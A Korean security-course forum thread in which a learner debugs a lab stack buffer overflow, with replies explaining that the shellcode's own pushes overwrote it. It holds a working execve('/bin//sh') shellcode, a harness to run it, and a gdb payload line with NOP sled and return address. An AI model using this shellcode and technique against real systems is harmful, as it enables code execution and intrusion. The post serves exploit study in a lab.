• 카테고리

    질문 & 답변
  • 세부 분야

    보안

  • 해결 여부

    해결됨

buffer overflow 쉘코드 실행 문제

19.09.26 20:54 작성 조회수 663

0


안녕하세요. 취약점 분석 강의를 제대로 이해하고 싶어서 buffer overflow 공격 관련 내용을 공부하다가 막히는 부분이 있어서 질문을 남깁니다.

현재 smashing the stack for fun and profit 문서와 해커지망자를 위한 buffer oveflow attack 기초(달고나) 문서를 참고로 해서 stack 기반 buffer overflow 공격을 실습해보고 있는데요,  

버퍼에 nop, shellcode, return address까지 덮어씌우고 nop 지점으로 점프하는 것은 성공했는데요, 이후 nop타고 내려가서 EIP가 shellcode 지점까지 진행한 뒤 seg fault로 종료되어 버립니다. 혹시 제가 빠뜨린 것이나 다른 확인해볼 사항이 어떤 것이 있을까요?

실습하면서 제가 확인한 사항은 아래와 같습니다.

---------------------------------------------------------------------------------------------------------

ASLR disable 시켰고요, (sysctl -w kernel.randomize_va_space=0)

다음 옵션으로 mem proection disable 하였습니다. (gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack -D_FORTIFY_SOURCE=0 -fno-plt file.c -o file)

다음 코드로 shellcode가 스택에서 실행되는 것을 확인하였습니다.

//char sh[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80";
void main(void)
{
    int *ret;
    char sh[40] =
        "\x90\x90\x90\x90\x90"
        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80";
    ret = (int*)&ret + 2;
    *ret = (int)sh;
}

취약점 코드는 메인에서 char 타입으로 배열 200개 할당후, 해당 배열에 strcpy 실행하는 코드이고요, 아래 그림은 gdb에서 break point 찍어서 디버깅해본 결과입니다.

(gdb) run `perl -e 'print "\x90"x179,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\xe0\xd1\xff\xff"'`
위와 같이 쉘코드와 return address를 인자로 넘겨서 run 실행하면...

main 함수에서 스택할당 후 sbf와 ret addr 확인main 함수에서 스택할당 후 sbf와 ret addr 확인

버퍼에 nop, shellcode, ret  덮어씌운 것 확인버퍼에 nop, shellcode, ret  덮어씌운 것 확인

main함수에서 return 이후, EIP가 nop 지점 메로리 가리키는 것 확인
main함수에서 return 이후, EIP가 nop 지점 메로리 가리키는 것 확인

nop 거쳐서 shellcode 지점에서 seg fault로 종료
nop 거쳐서 shellcode 지점에서 seg fault로 종료

아 그리고 테스트 환경은 다음과 같습니다.
root@kali:~# uname -a
Linux kali 4.19.0-kali4-amd64 #1 SMP Debian 4.19.28-2kali1 (2019-03-18) x86_64 GNU/Linux

어디가 문제인지 확인 좀 부탁드릴게요. 꼭좀부탁드리겠습니다. 이것땜에 잠도 못자고 있어요..ㅜㅜㅜ

답변 6

·

답변을 작성해보세요.

1

정말 열심히 하시네요.^^ 저희 카페에 오셔서 같이 공부해요~후후.

1

seuh님의 프로필

seuh

질문자

2019.10.10

안녕하세요. 쉘코드가 실행되지 않았던 원인을 찾아서 댓글을 남겨둡니다.

셸코드에서 push 명령을 (ex: push "/bin//sh" 등) 수행하면서

스택에서 실행을 기다리고 있던 나머지 쉘코드를 덮어 써버린게 원인이었습니다.

메타스플로잇 관련한 질문은 아니었지만 관심가져주셔서 감사합니다.

1

성공하셨다니 다행이네요. 강사님께 직접 이메일을 보내면 더 빠르게 답변 받으실겁니다.

0

seuh님의 프로필

seuh

질문자

2019.10.10

카페 글은 종종 눈팅하고 있습니다. ^^

제가 공부하는 속도보다

새로 올라오는 컨텐츠의 속도가 더 빨라서

감당이 어렵습니다 ㅎㅎ

0

seuh님의 프로필

seuh

질문자

2019.10.01

이유는 모르겠지만 어쨌든 성공했습니다.

혹시 원인을 알게되면 댓글 남겨두도로 하겠습니다.

감사합니다.

0

seuh님의 프로필

seuh

질문자

2019.09.30

안녕하세요. 취약점 코드와 쉘코드 수정하면서 확인하다보니

gdb에서 돌렸을때는 성공적으로 쉘이 실행되는데

바이너리를 그냥 실행했을때는 illegal instruction 에러메시지가 뜹니다.

이로보아 운영체제에서 설정이 필요한 것으로 의심되는데요, 혹시 확인해볼 사항이 있을까요?